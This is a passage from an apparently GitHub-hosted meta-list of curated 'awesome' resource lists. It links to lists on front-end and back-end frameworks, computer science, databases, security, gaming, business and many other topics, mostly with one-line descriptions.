[Emails](https://github.com/jonathandion/awesome-emails#readme) - [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation. - [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme) - [Web Audio](https://github.com/notthetup/awesome-webaudio#readme) - [Offline-First](https://github.com/pazguille/offline-first#readme) - [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme) - [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework. - [Text Editing](https://github.com/dok/awesome-text-editing#readme) - [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme) - [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework. - [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework. - [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework. - [Charting](https://github.com/zingchart/awesome-charting#readme) - [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme) - [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme) - [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool. - [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React. - [Service Workers](https://github.com/TalAter/awesome-service-workers#readme) - [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme) - [choo](https://github.com/choojs/awesome-choo#readme) - App framework. - [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps. - [webpack](https://github.com/webpack-contrib/awesome-webpack#readme) - Module bundler. - [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler. - [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor. - [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language. - [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor. - [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics. - [Preact](https://github.com/ooade/awesome-preact#readme) - App framework. - [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme) - [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps. - [Hyperapp](https://github.com/jorgebucaran/awesome-hyperapp#readme) - Tiny JavaScript library for building web apps. - [lit-html](https://github.com/web-padawan/awesome-lit-html#readme) - HTML templating library for JavaScript. - [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup. - [WordPress-Gatsby](https://github.com/henrikwirth/awesome-wordpress-gatsby#readme) - Web development technology stack with WordPress as a back end and Gatsby as a front end. - [Mobile Web Development](https://github.com/myshov/awesome-mobile-web-development#readme) - Creating a great mobile web experience. - [Storybook](https://github.com/lauthieb/awesome-storybook#readme) - Development environment for UI components. - [Blazor](https://github.com/AdrienTorris/awesome-blazor#readme) - .NET web framework using C#/Razor and HTML that runs in the browser with WebAssembly. - [Web Performance Metrics](https://github.com/csabapalfi/awesome-web-performance-metrics#readme) - Metrics to help understand page speed and user experience. - [Tailwind CSS](https://github.com/aniftyco/awesome-tailwindcss#readme) - Utility-first CSS framework for rapid UI development. - [Seed](https://github.com/seed-rs/awesome-seed-rs#readme) - Rust framework for creating web apps running in WebAssembly. - [Web Performance Budget](https://github.com/pajaydev/awesome-performance-budget#readme) - Techniques to ensure certain performance metrics for a website. - [Web Animation](https://github.com/sergey-pimenov/awesome-web-animation#readme) - Animations in the browser with JavaScript, CSS, SVG, etc. - [Yew](https://github.com/jetli/awesome-yew#readme) - Rust framework inspired by Elm and React for creating multi-threaded frontend web apps with WebAssembly. - [Material-UI](https://github.com/nadunindunil/awesome-material-ui#readme) - Material Design React components for faster and easier web development. ## Back-End Development - [Flask](https://github.com/humiaozuzu/awesome-flask#readme) - Python framework. - [Docker](https://github.com/veggiemonk/awesome-docker#readme) - [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme) - Automation virtual machine environment. - [Pyramid](https://github.com/uralbash/awesome-pyramid#readme) - Python framework. - [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme) - [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework. - [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme) - PHP framework. - [Education](https://github.com/pehapkari/awesome-symfony-education#readme) - [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework. - [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme) - [Rails](https://github.com/ekremkaraca/awesome-rails#readme) - Web app framework for Ruby. - [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages. - [Phalcon](https://github.com/phalcon/awesome-phalcon#readme) - PHP framework. - [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme) - [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server. - [Dropwizard](https://github.com/stve/awesome-dropwizard#readme) - Java framework. - [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme) - Open-source platform that automates Linux container operations. - [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme) - PHP micro-framework. - [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme) - Serverless computing and serverless architectures. - [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework. - [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM. - [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure. - [Vapor](https://github.com/Cellane/awesome-vapor#readme) - Server-side development in Swift. - [Dash](https://github.com/ucg8j/awesome-dash#readme) - Python web app framework. ## Computer Science - [University Courses](https://github.com/prakhar1989/awesome-courses#readme) - [Data Science](https://github.com/bulutyazilim/awesome-datascience#readme) - [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme) - [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme) - [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme) - [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby. - [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework. - [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala. - [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme) - [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme) - [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme) - [Question Answering](https://github.com/seriousmac/awesome-qa#readme) - The science of asking and answering in natural language with a machine. - [Natural Language Generation](https://github.com/tokenmill/awesome-nlg#readme) - Generation of text used in data to text, conversational agents, and narrative generation applications. - [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme) - [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme) - [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers. - [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme) - [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks. - [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence. - [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers. - [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme) - [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme) - [Open Source Society University](https://github.com/ossu/computer-science#readme) - [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme) - [Empirical Software Engineering](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems. - [Static Analysis & Code Quality](https://github.com/mre/awesome-static-analysis#readme) - [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine. - [Quantum Computing](https://github.com/desireevl/awesome-quantum-computing#readme) - Computing which utilizes quantum mechanics and qubits on quantum computers. ## Big Data - [Big Data](https://github.com/onurakpolat/awesome-bigdata#readme) - [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme) - [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets. - [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme) - [Streaming](https://github.com/manuzhang/awesome-streaming#readme) - [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing. - [Qlik](https://github.com/ambster-public/awesome-qlik#readme) - Business intelligence platform for data visualization, analytics, and reporting apps. - [Splunk](https://github.com/sduff/awesome-splunk#readme) - Platform for searching, monitoring, and analyzing structured and unstructured machine-generated big data in real-time. ## Theory - [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme) - [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme) - [Algorithms](https://github.com/tayllan/awesome-algorithms#readme) - [Education](https://github.com/gaerae/awesome-algorithms-education#readme) - Learning and practicing. - [Algorithm Visualizations](https://github.com/enjalot/algovis#readme) - [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme) - [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme) - [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme) - [Math](https://github.com/rossant/awesome-math#readme) - [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested data structures. ## Books - [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme) - [Free Software Testing Books](https://github.com/ligurio/awesome-software-quality#readme) - [Go Books](https://github.com/dariubs/GoBooks#readme) - [R Books](https://github.com/RomanTsegelskyi/rbooks#readme) - [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme) - [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme) - [Elixir Books](https://github.com/sger/ElixirBooks#readme) ## Editors - [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme) - [Vim](https://github.com/mhinz/vim-galore#readme) - [Emacs](https://github.com/emacs-tw/awesome-emacs#readme) - [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor. - [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor. ## Gaming - [Game Development](https://github.com/ellisonleao/magictools#readme) - [Game Networking](https://github.com/MFatihMAR/Awesome-Game-Networking#readme) - Network programming for multiplayer online games. - [Game Talks](https://github.com/hzoo/awesome-gametalks#readme) - [Godot](https://github.com/Calinou/awesome-godot#readme) - Game engine. - [Open Source Games](https://github.com/leereilly/games#readme) - [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine. - [Chess](https://github.com/hkirat/awesome-chess#readme) - [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine. - [PICO-8](https://github.com/pico-8/awesome-PICO-8#readme) - Fantasy console. - [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme) - [Construct 2](https://github.com/WebCreationClub/awesome-construct#readme) - Game engine. - [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine. - [Minecraft](https://github.com/bs-community/awesome-minecraft#readme) - Sandbox video game. - [Game Datasets](https://github.com/leomaurodesenv/game-datasets#readme) - Materials and datasets for Artificial Intelligence in games. - [Haxe Game Development](https://github.com/Dvergar/awesome-haxe-gamedev#readme) - A high-level strongly typed programming language used to produce cross-platform native code. - [libGDX](https://github.com/rafaskb/awesome-libgdx#readme) - Java game framework. - [PlayCanvas](https://github.com/playcanvas/awesome-playcanvas#readme) - Game engine. - [Game Remakes](https://github.com/radek-sprta/awesome-game-remakes#readme) - Actively maintained open-source game remakes. ## Development Environment - [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS. - [Dev Env](https://github.com/jondot/awesome-devenv#readme) - [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme) - [Shell](https://github.com/alebcay/awesome-shell#readme) - [Fish](https://github.com/jorgebucaran/awesome-fish#readme) - User-friendly shell. - [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme) - [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme) - [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories. - [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme) - [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme) - [Pinned Gists](https://github.com/matchai/awesome-pinned-gists#readme) - Dynamic pinned gists for your GitHub profile. - [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme) - [Git Tips](https://github.com/git-tips/tips#readme) - [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI. - [Git Hooks](https://github.com/compscilauren/awesome-git-hooks#readme) - Scripts for automating tasks during `git` workflows. - [SSH](https://github.com/moul/awesome-ssh#readme) - [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme) - [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies. - [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell. - [Alfred Workflows](https://github.com/derimagia/awesome-alfred-workflows#readme) - Productivity app for macOS. - [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme) - [GitHub Actions](https://github.com/sdras/awesome-actions#readme) - Create tasks to automate your workflow and share them with others on GitHub. ## Entertainment - [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi. - [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme) - [Podcasts](https://github.com/ayr-ton/awesome-geek-podcasts#readme) - [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme) - [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme) ## Databases - [Database](https://github.com/numetriclabz/awesome-db#readme) - [MySQL](https://github.com/shlomi-noach/awesome-mysql#readme) - [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme) - [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme) - [Neo4j](https://github.com/neueda/awesome-neo4j#readme) - [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database. - [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme) - [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework. - [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database. - [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database. - [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store. - [NoSQL Guides](https://github.com/erictleung/awesome-nosql-guides#readme) - Help on using non-relational, distributed, open-source, and horizontally scalable databases. - [Contexture](https://github.com/ltchris/awesome-contexture#readme) - Abstracts queries/filters and results/aggregations from different backing data stores like ElasticSearch and MongoDB. - [Database Tools](https://github.com/mgramin/awesome-db-tools#readme) - Everything that makes working with databases easier. ## Media - [Creative Commons Media](https://github.com/shime/creative-commons-media#readme) - [Fonts](https://github.com/brabadu/awesome-fonts#readme) - [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts. - [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme) - [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images. - [Music](https://github.com/ciconia/awesome-music#readme) - [Open Source Documents](https://github.com/hubtee/awesome-opensource-documents#readme) - [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme) - [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme) - [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art. - [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video. - [Icons](https://github.com/notlmn/awesome-icons#readme) - Downloadable SVG/PNG/font icon projects. ## Learn - [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials. - [Learn to Program](https://github.com/karlhorky/learn-to-program#readme) - [Speaking](https://github.com/matteofigus/awesome-speaking#readme) - [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme) - [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme) - [Computer History](https://github.com/watson/awesome-computer-history#readme) - [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme) - [Educational Games](https://github.com/yrgo/awesome-eg#readme) - Learn while playing. - [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme) - [CSS Learning](https://github.com/micromata/awesome-css-learning#readme) - Mainly about CSS – the language and the modules. - [Product Management](https://github.com/dend/awesome-product-management#readme) - Learn how to be a better product manager. - [Roadmaps](https://github.com/liuchong/awesome-roadmaps#readme) - Gives you a clear route to improve your knowledge and skills. ## Security - [Application Security](https://github.com/paragonie/awesome-appsec#readme) - [Security](https://github.com/sbilly/awesome-security#readme) - [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag. - [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme) - [Android Security](https://github.com/ashishb/android-security-awesome#readme) - [Hacking](https://github.com/carpedm20/awesome-hacking#readme) - [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization. - [Incident Response](https://github.com/meirwah/awesome-incident-response#readme) - [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme) - [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services. - [Lockpicking](https://github.com/meitar/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key. - [Cybersecurity Blue Team](https://github.com/meitar/awesome-cybersecurity-blueteam#readme) - Groups of individuals who identify security flaws in information technology systems. - [Fuzzing](https://github.com/cpuu/awesome-fuzzing#readme) - Automated software testing technique that involves feeding pseudo-randomly generated input data. - [Embedded and IoT Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security#readme) - [GDPR](https://github.com/bakke92/awesome-gdpr#readme) - Regulation on data protection and privacy for all individuals within EU. ## Content Management Systems - [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme) - [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS. - [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience. - [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS. - [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS. - [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS. ## Hardware - [Robotics](https://github.com/Kiloreux/awesome-robotics#readme) - [Internet of Things](https://github.com/HQarroum/awesome-iot#readme) - [Electronics](https://github.com/kitspace/awesome-electronics#readme) - For electronic engineers and hobbyists. - [Bluetooth Beacons](https://github.com/squaremetrics/awesome-beacon#readme) - [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar. ## Business - [Open Companies](https://github.com/opencompany/awesome-open-company#readme) - [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme) - [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices. - [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment. - [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses. - [Tools of the Trade](https://github.com/cjbarber/ToolsOfTheTrade#readme) - Tools used by companies on Hacker News. - [Clean Tech](https://github.com/nglgzz/awesome-clean-tech#readme) - Fighting climate change with technology. - [Wardley Maps](https://github.com/wardley-maps-community/awesome-wardley-maps#readme) - Provides high situational awareness to help improve strategic planning and decision making. ## Work - [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration. - [Communities](https://github.com/filipelinhares/awesome-slack#readme) - [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme) - [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme) - [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme) - [Programming Interviews](https://github.com/MaximAbramchuck/awesome-interview-questions#readme) - [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code. ## Networking - [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme) - [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme) - [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme) ## Decentralized Systems - [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers. - [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network. - [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications. - [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network. - [Ethereum](https://github.com/Tom2718/Awesome-Ethereum#readme) - Distributed computing platform for smart contract development. - [Blockchain AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - Blockchain projects for artificial intelligence and machine learning. - [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - A decentralized operating system supporting industrial-scale apps. - [Corda](https://github.com/chainstack/awesome-corda#readme) - Open source blockchain platform designed for business. ## Higher Education - [Computational Neuroscience](https://github.com/eselkin/awesome-computational-neuroscience#readme) - A multidisciplinary science which uses computational approaches to study the nervous system. - [Digital History](https://github.com/maehr/awesome-digital-history#readme) - Computer-aided scientific investigation of history. ## Events - [Creative Tech Events](https://github.com/danvoyce/awesome-creative-tech-events#readme) - Events around the globe for creative coding, tech, design, music, arts and cool stuff. - [Events in Italy](https://github.com/ildoc/awesome-italy-events#readme) - Tech-related events in Italy. - [Events in the Netherlands](https://github.com/awkward/awesome-netherlands-events#readme) - Tech-related events in the Netherlands. ## Testing - [Testing](https://github.com/TheJambo/awesome-testing#readme) - Software testing. - [Visual Regression Testing](https://github.com/mojoaxel/awesome-regression-testing#readme) - Ensures changes did not break the functionality or style. - [Selenium](https://github.com/christian-bromann/awesome-selenium#readme) - Open-source browser automation framework and ecosystem. - [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps. - [TAP](https://github.com/sindresorhus/awesome-tap#readme) - Test Anything Protocol. - [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - Load testing and performance measurement tool. - [k6](https://github.com/k6io/awesome-k6#readme) - Open-source, developer-centric performance monitoring and load testing solution. ## Miscellaneous - [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format. - [GeoJSON](https://github.com/tmcw/awesome-geojson#readme) - [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme) - [CSV](https://github.com/secretGeek/awesomeCSV#readme) - A text file format that stores tabular data and uses a comma to separate values. - [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme) - [Sysadmin](https://github.com/n1trux/awesome-sysadmin#readme) - [Radio](https://github.com/kyleterry/awesome-radio#readme) - [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated. - [Analytics](https://github.com/onurakpolat/awesome-analytics#readme) - [REST](https://github.com/marmelab/awesome-rest#readme) - [Continuous Integration and Continuous Delivery](https://github.com/ciandcd/awesome-ciandcd#readme) - [Services Engineering](https://github.com/mmcgrana/services-engineering#readme) - [Free for Developers](https://github.com/ripienaar/free-for-dev#readme) - [Answers](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, etc. - [Sketch](https://github.com/diessica/awesome-sketch#readme) - Design app for macOS. - [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates#readme) - [Readme](https://github.com/matiassingers/awesome-readme#readme) - [Design and Development Guides](https://github.com/NARKOZ/guides#readme) - [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs#readme) - [Self Hosted](https://github.com/Kickball/awesome-selfhosted#readme) - [FOSS Production Apps](https://github.com/DataDaoDe/awesome-foss-apps#readme) - [Gulp](https://github.com/alferov/awesome-gulp#readme) - Task runner. - [AMA](https://github.com/sindresorhus/amas#readme) - Ask Me Anything. - [Answers](https://github.com/stoeffel/awesome-ama-answers#readme) - [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme) - [OpenGL](https://github.com/eug/awesome-opengl#readme) - Cross-platform API for rendering 2D and 3D graphics. - [GraphQL](https://github.com/chentsulin/awesome-graphql#readme) - [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme) - [Research Tools](https://github.com/emptymalei/awesome-research#readme) - [Data Visualization](https://github.com/fasouto/awesome-dataviz#readme) - [Social Media Share Links](https://github.com/vinkla/shareable-links#readme) - [Microservices](https://github.com/mfornos/awesome-microservices#readme) - [Unicode](https://github.com/Wisdom/Awesome-Unicode#readme) - Unicode standards, quirks, packages and resources. - [Code Points](https://github.com/Codepoints/awesome-codepoints#readme) - [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners#readme) - [Katas](https://github.com/gamontal/awesome-katas#readme) - [Tools for Activism](https://github.com/drewrwilson/toolsforactivism#readme) - [Citizen Science](https://github.com/dylanrees/citizen-science#readme) - For community-based and non-institutional scientists. - [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - "Internet of Things" connectivity protocol. - [Hacking Spots](https://github.com/daviddias/awesome-hacking-locations#readme) - [For Girls](https://github.com/cristianoliveira/awesome4girls#readme) - [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - Node.js CLI framework. - [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - Low-overhead, cross-platform 3D graphics and compute API. - [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - Typesetting language. - [Economics](https://github.com/antontarasenko/awesome-economics#readme) - An economist's starter kit. - [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov#readme) - [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics#readme) - [Cheminformatics](https://github.com/hsiaoyi0504/awesome-cheminformatics#readme) - Informatics techniques applied to problems in chemistry. - [Colorful](https://github.com/Siddharth11/Colorful#readme) - Choose your next color scheme. - [Steam](https://github.com/scholtzm/awesome-steam#readme) - Digital distribution platform. - [Bots](https://github.com/hackerkid/bots#readme) - Building bots. - [Site Reliability Engineering](https://github.com/dastergon/awesome-sre#readme) - [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures. - [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - Dynamic tracing framework. - [Userscripts](https://github.com/brunocvcunha/awesome-userscripts#readme) - Enhance your browsing experience. - [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO. - [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - Managing technical and business operations through a chat. - [Falsehood](https://github.com/kdeldycke/awesome-falsehood#readme) - Falsehoods programmers believe in. - [Domain-Driven Design](https://github.com/heynickc/awesome-ddd#readme) - Software development approach for complex needs by connecting the implementation to an evolving model. - [Quantified Self](https://github.com/woop/awesome-quantified-self#readme) - Self-tracking through technology. - [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - Python-based config management system. - [Web Design](https://github.com/nicolesaidy/awesome-web-design#readme) - For digital designers. - [Creative Coding](https://github.com/terkelg/awesome-creative-coding#readme) - Programming something expressive instead of something functional. - [No-Login Web Apps](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - Web apps that work without login. - [Free Software](https://github.com/johnjago/awesome-free-software#readme) - Free as in freedom. - [Framer](https://github.com/podo/awesome-framer#readme) - Prototyping interactive UI designs. - [Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - Markup language. - [Dev Fun](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - Funny developer projects. - [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) - Open source healthcare software for facilities, providers, developers, policy experts, and researchers. - [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - Open Source eCommerce built with PHP. - [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - Graph drawing packages for TeX/LaTeX/ConTeXt. - [Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain. - [Ad-Free](https://github.com/johnjago/awesome-ad-free#readme) - Ad-free alternatives. - [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - Programming languages designed for experimentation or as jokes rather than actual use. - [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - Open-source monitoring system. - [Homematic](https://github.com/hobbyquaker/awesome-homematic#readme) - Smart home devices. - [Ledger](https://github.com/sfischer13/awesome-ledger#readme) - Double-entry accounting on the command-line. - [Uncopyright](https://github.com/johnjago/awesome-uncopyright#readme) - Public domain works. - [Crypto Currency Tools & Algorithms](https://github.com/Zheaoli/awesome-coins#readme) - Digital currency where encryption is used to regulate the generation of units and verify transfers. - [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community. - [Open Source Supporters](https://github.com/zachflower/awesome-open-source-supporters#readme) - Companies that offer their tools and services for free to open source projects. - [Design Principles](https://github.com/robinstickel/awesome-design-principles#readme) - Create better and more consistent designs and experiences. - [Theravada](https://github.com/johnjago/awesome-theravada#readme) - Teachings from the Theravada Buddhist tradition. - [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - Open source Java app performance management tool. - [Open Source Maintainers](https://github.com/nayafia/awesome-maintainers#readme) - The experience of being an open source maintainer. - [Calculators](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform. - [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - A type of challenge–response test used in computing to determine whether or not the user is human. - [Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - Create and share documents that contain code, equations, visualizations and narrative text. - [FIRST Robotics Competition](https://github.com/andrewda/awesome-frc#readme) - International high school robotics 